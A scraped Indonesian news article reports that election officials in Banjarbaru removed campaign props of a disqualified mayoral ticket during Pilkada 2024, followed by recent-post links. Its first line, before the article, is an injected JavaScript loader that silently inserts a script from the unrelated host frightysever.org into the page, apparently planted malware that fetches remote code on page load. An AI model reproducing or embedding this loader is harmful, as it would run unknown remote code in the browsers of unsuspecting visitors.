(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
pilkada 2024

Alat Peraga Kampanye Paslon Diskualifikasi Dicopot


KANALKALIMANTAN.COM, BANJARBARU – Tim desk Pilkada 2024 Kota Banjarbaru menertibkan Alat Peraga Kampanye (APK) milik pasangan calon (paslon) Aditya Mufti Ariffin – Said Abdullah yang dibatalkan KPU Banjarbaru.

Pantauan Kanalkalimantan.co, penertiban APK dilakukan oleh petugas gabungan dari KPU dan Bawaslu Banjarbaru serta stakeholder terkait seperti Satpol PP, Bakesbangpol hingga Dinas Lingkungan Hidup Banjarbaru.

APK ini selama masa kampanye telah dipasang di titik-titik yang tersebar di lima kecamatan dan 20 kelurahan.

Selasa (19/12/2024) malam, APK-APK itu mulai dicopot menyusul pembatalan paslon nomor urut 2 sebagai calon Wali Kota dan Wakil Wali Kota Banjarbaru.

Baca juga: Vonis Berbeda Calo dan Mantri Korupsi Kredit Topengan Bank

Ketua KPU Kota Banjarbaru, Dahtiar mengatakan saat memulai giat penertiban dari bundaran Pancasila Km 17 Gambut-Liang Anggang.

“Giat ini merujuk pada Keputusan KPU Kota Banjarbaru Nomor 124 Tahun 2024 tentang pembatalan Aditya Mufti Ariffin-Said Abdullah sebagai paslon Wali Kota dan Wakil Wali Kota Banjarbaru,” ujar Dahtiar.

“Ketika ada paslon yang dibatalkan maka dia bukan lagi sebagai peserta pemilihan,” sambungnya.

Baca juga: Hari Anak Sedunia, PLN Junior Tebar Kebaikan ke Rumah Anak Yatim Ar-Rohmah Banjarbaru

Selain Keputusan KPU, Dahtiar mengatakan, surat imbauan penurunan APK juga dikeluarkan oleh Bawaslu Banjarbaru.

“Ini merupakan tindakan penyesuaian ketika ada satu Paslon yang dibatalkan, sebagaimana instruksi dari KPU RI,” ungkap dia.

Di sisi lain, izin untuk melakukan penertiban APK telah diberikan oleh sejumlah Partai Politik (Parpol) pengusung nomor urut 2, yakni PPP, Partai Ummat, dan Partai Buruh.

“Parpol pengusung tidak ada keberatan terhadap tindakan penertiban APK tersebut, dan menyerahkan sepenuhnya kepada KPU dan Bawaslu Banjarbaru,” jelas dia.

Baca juga: KPK Panggil Ketua DPRD Kalsel Saksi Kasus Suap Proyek

Selanjutnya penertiban serupa bakal dilakukan oleh KPU Banjarbaru untuk paslon nomor urut 1, yang akan dilakukan ketika menjelang masa tenang.

“Nanti jelang masa tenang, semua APK akan kami tertibkan. Termasuk APK Cagub dan Cawagub Kalsel,” tuntasnya. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Risa

Recent Posts

Pantau Kondisi Banjir di Pengaron, Bupati Banjar Ingatkan Warga untuk Tetap Waspada

KANALKALIMANTAN.COM, MARTAPURA - Hujan deras yang turun pada Minggu (26/1/2025) malam mengakibatkan sejumlah wilayah di… Read More

15 jam ago

Dinas PUPR Banjarbaru Evaluasi Masterplan Penanganan Banjir

KANALKALIMANTAN.COM, BANJARBARU - Satu pekan Kota Banjarbaru Provinsi Kalimantan Selatan dilanda curah hujan tinggi melanda… Read More

15 jam ago

Ancaman Banjir Rob di Kalsel, Begini Prediksi Stamet Syamsudin Noor

KANALKALIMANTAN.COM, BANJARMASIN - Stasiun Meteorologi (Stamet) Syamsudin Noor Banjarmasin mengeluarkan imbauan mengenai potensi banjir pesisir… Read More

18 jam ago

Komplotan Pembobol Rumah Kosong dan Penadah Diringkus

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Resor (Polres) Kota Banjarmasin mengungkap kasus pencurian rumah kosong di Jalan… Read More

21 jam ago

14 Kontestan Indonesian Idol XIII Siap Tampil Memukau di Babak Spektakuler Show 1

KANALKALIMANTAN.COM - Kini saatnya Indonesian Idol XIII memasuki babak yang paling dinanti, yaitu Spektakuler Show.… Read More

1 hari ago

Hujan Lebat Guyur Banjarbaru, Sungai Kemuning Meluap

KANALKALIMANTAN.COM, BANJARBARU - Hujan dengan intensitas tinggi kembali mengguyur Ibu Kota Provinsi Kalimantan Selatan, sejak… Read More

2 hari ago

This website uses cookies.